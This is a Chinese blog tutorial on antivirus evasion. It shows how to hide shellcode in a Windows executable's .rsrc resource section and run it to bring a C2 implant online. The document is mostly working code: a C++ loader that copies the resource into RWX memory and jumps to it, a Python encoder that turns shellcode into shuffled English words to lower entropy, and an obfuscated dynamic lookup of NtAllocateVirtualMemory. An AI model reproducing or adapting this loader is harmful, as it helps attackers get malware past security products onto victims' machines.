当前位置: 首页 > article >正文

基础免杀 从.rsrc加载shellcode上线

.rsrc 段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括图标、位图、字符串表、对话框、菜单、版本信息、字体等

具体的shellcode加载方式不在此探讨 在这使用传统的指针执行

WindowsAPI

需要用到如下API

FindResource 获取指定资源的信息块的句柄 传给LoadResource以获取资源的句柄

LoadResource 获取资源的句柄

LockResource 指向资源第一个字节的指针

SizeofResource 指定资源的大小

具体过程

先添加资源

将shellcode修改扩展名为ico 并导入

资源类型为RCDATA 表示自定义数据

HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);

HGLOBAL hGlobal = LoadResource(NULL, hRsrc);

从当前进程中查找资源

LPVOID addr = LockResource(hGlobal);

获取地址

size_t len = SizeofResource(NULL, hRsrc);

获取资源大小

.rsrc的内存属性是只读 开一块新内存拷过去

LPVOID buf = VirtualAlloc(NULL, NULL, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
    memcpy(buf, addr, len);
    typedef void (*ShellcodeFunc)();
    ShellcodeFunc execShellcode = (ShellcodeFunc)buf;
    execShellcode();

执行

直接把shellcode弄进去

通过die可以看见此时.rsrc 的熵值极高 达到7.99

解决熵值过高的问题

这里选择讲shellcode转英文单词 从资源文件读取出来之后再解密

import random
import sys

ascii_strings = [
    'Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank', 'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book',
    'Burn', 'Call', 'Card', 'Care', 'Case', 'Cash', 'Cast', 'City', 'Club', 'Come', 'Cook', 'Cope', 'Cost', 'Damn', 'Dare', 'Date',
    'Dead', 'Deal', 'Deep', 'Deny', 'Door', 'Down', 'Draw', 'Drop', 'Duly', 'Duty', 'Earn', 'East', 'Easy', 'Edge', 'Else', 'Even',
    'Ever', 'Face', 'Fact', 'Fail', 'Fair', 'Fall', 'Farm', 'Fast', 'Fear', 'Feel', 'File', 'Fill', 'Film', 'Find', 'Fire', 'Firm',
    'Fish', 'Flat', 'Food', 'Foot', 'Form', 'Full', 'Fund', 'Gain', 'Game', 'Girl', 'Give', 'Goal', 'Gold', 'Good', 'Grow', 'Hair',
    'Half', 'Hall', 'Hand', 'Hang', 'Hard', 'Hate', 'Have', 'Head', 'Hear', 'Help', 'Here', 'Hide', 'High', 'Hold', 'Home', 'Hope',
    'Hour', 'Hurt', 'Idea', 'Idly', 'Jack', 'John', 'Join', 'Jump', 'Just', 'Keep', 'Kill', 'Kind', 'King', 'Know', 'Lack', 'Lady',
    'Land', 'Last', 'Late', 'Lead', 'Lend', 'Life', 'Lift', 'Like', 'Line', 'Link', 'List', 'Live', 'Long', 'Look', 'Lord', 'Lose',
    'Loss', 'Loud', 'Love', 'Make', 'Mark', 'Mary', 'Meet', 'Mind', 'Miss', 'Move', 'Much', 'Must', 'Name', 'Near', 'Need', 'News',
    'Nice', 'Note', 'Okay', 'Once', 'Only', 'Open', 'Over', 'Page', 'Pain', 'Pair', 'Park', 'Part', 'Pass', 'Past', 'Path', 'Paul',
    'Pick', 'Plan', 'Play', 'Post', 'Pray', 'Pull', 'Push', 'Rain', 'Rate', 'Read', 'Real', 'Rely', 'Rest', 'Ride', 'Ring', 'Rise',
    'Risk', 'Road', 'Rock', 'Role', 'Roll', 'Room', 'Rule', 'Sale', 'Save', 'Seat', 'Seek', 'Seem', 'Sell', 'Send', 'Shed', 'Shop',
    'Show', 'Shut', 'Side', 'Sign', 'Sing', 'Site', 'Size', 'Skin', 'Slip', 'Slow', 'Solo', 'Soon', 'Sort', 'Star', 'Stay', 'Step',
    'Stop', 'Suit', 'Sure', 'Take', 'Talk', 'Task', 'Team', 'Tell', 'Tend', 'Term', 'Test', 'Text', 'That', 'Then', 'This', 'Thus',
    'Time', 'Tour', 'Town', 'Tree', 'Turn', 'Type', 'Unit', 'User', 'Vary', 'Very', 'View', 'Vote', 'Wait', 'Wake', 'Walk', 'Wall',
    'Want', 'Warn', 'Wash', 'Wear', 'Week', 'When', 'Wide', 'Wife', 'Will', 'Wind', 'Wine', 'Wish', 'Wood', 'Word', 'Work', 'Year'
]
# 多态化 每次table不一样
random.shuffle(ascii_strings)

if len(sys.argv) < 2:
    print("Usage: python script.py <input_file>")
    sys.exit(1)

with open(sys.argv[1], "rb") as f:
    raw = f.read()


encoded = "".join([ascii_strings[x % len(ascii_strings)] + "\x00" for x in raw])

with open("table.ico", "w") as fh:
    fh.write('''"{}"'''.format("\", \"".join(ascii_strings)))

with open("shellcode.ico", "w") as fh:
    fh.write('''{}'''.format(encoded.replace('"', '\\"')))
#include <Windows.h>
#include <iostream>
#include "resource.h"
#include <vector>
#include <string>
#include <sstream>
#include <unordered_map>

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);

using namespace std;

vector<string> parse_resource_data(LPVOID addr, size_t len) {
    unsigned char* data = reinterpret_cast<unsigned char*>(addr);
    vector<string> parsed_strings;
    stringstream current_string;

    for (size_t i = 0; i < len; ++i) {
        if (data[i] == 0x22) {  // 双引号ASCII码
            if (!current_string.str().empty()) {
                parsed_strings.push_back(current_string.str());  
                current_string.str("");  
            }
        }
        else if (data[i] != 0x2c && data[i] != 0x20) { 
            current_string << static_cast<char>(data[i]); 
        }
    }

    return parsed_strings;
}

vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
    unordered_map<string, int> indexMap;
    for (size_t i = 0; i < table.size(); ++i) {
        indexMap[table[i]] = i;
    }

    vector<unsigned char> shellcode;
    string current_string;
    unsigned char* data = reinterpret_cast<unsigned char*>(addr);

    for (size_t i = 0; i < len; ++i) {
        if (data[i] == 0x00) {  // 遇到0x00表示一个字符串结束
            if (!current_string.empty()) {
                auto it = indexMap.find(current_string);
                if (it != indexMap.end()) {
                    // 将对应的索引添加到 shellcode 中
                    shellcode.push_back(it->second);
                }
                current_string.clear();  
            }
        }
        else {
            current_string += static_cast<char>(data[i]);
        }
    }

    return shellcode;
}

int main(){


    HRSRC hRsrcTable = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);
    HGLOBAL hGlobalTable = LoadResource(NULL, hRsrcTable);
    LPVOID addr = LockResource(hGlobalTable);
    size_t len = SizeofResource(NULL, hRsrcTable);
    vector<string> table = parse_resource_data(addr, len);



    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    addr = LockResource(hGlobal);
    len = SizeofResource(NULL, hRsrc);
    auto shellcode = restoreShellcode(addr, len, table);


    LPVOID lpMem = nullptr;
    SIZE_T uSize = shellcode.size();
    const char str1[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0' };

    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), str1);
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpMem, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


    memcpy(lpMem, shellcode.data(), shellcode.size());

    typedef void (*ShellcodeFunc)();
    ShellcodeFunc execShellcode = (ShellcodeFunc)lpMem;
    execShellcode();
    return 0;
 }


http://www.kler.cn/a/409789.html

相关文章:

  • C++ 单例模式的实现示例与相关疑问
  • javaEE初阶——多线程(1)
  • SplatFormer: Point Transformer for Robust3D Gaussian Splatting 论文解读
  • C++初阶(十五)--STL--list 的深度解析与全面应用
  • c语言的qsort函数理解与使用
  • 4-SpringCloud整合服务间的调用即负载均衡
  • 融合模型VotingRegressor 在线性数据上的比对与应用
  • Flutter 设计模式全面解析:抽象工厂
  • 3dm 格式详解,javascript加载导出3dm文件示例
  • Nginx防御机制
  • 数据结构——停车场管理问题
  • 致翔OA open_juese.aspx SQL注入致RCE漏洞复现
  • 算法分析 —— 《位运算基础》
  • JavaScript中的Observer模式:设计模式与最佳实践
  • 赛氪媒体支持“2024科普中国青年之星创作交流活动”医学专场落幕
  • BIO/NIO
  • 后端开发入门
  • 游卡,科锐国际,蓝禾,汤臣倍健,三七互娱,顺丰,快手,途游游戏25秋招内推
  • Oracle-索引的创建和优化
  • 学习prompt
  • GitLab|GitLab报错:Restoring PostgreSQL database gitlabhq_production...
  • HTML密码小眼睛
  • 区块链学习笔记(1)--区块、链和共识 区块链技术入门
  • 【分治】--- 快速选择算法
  • 【优选算法】前缀和
  • C++入门学习基础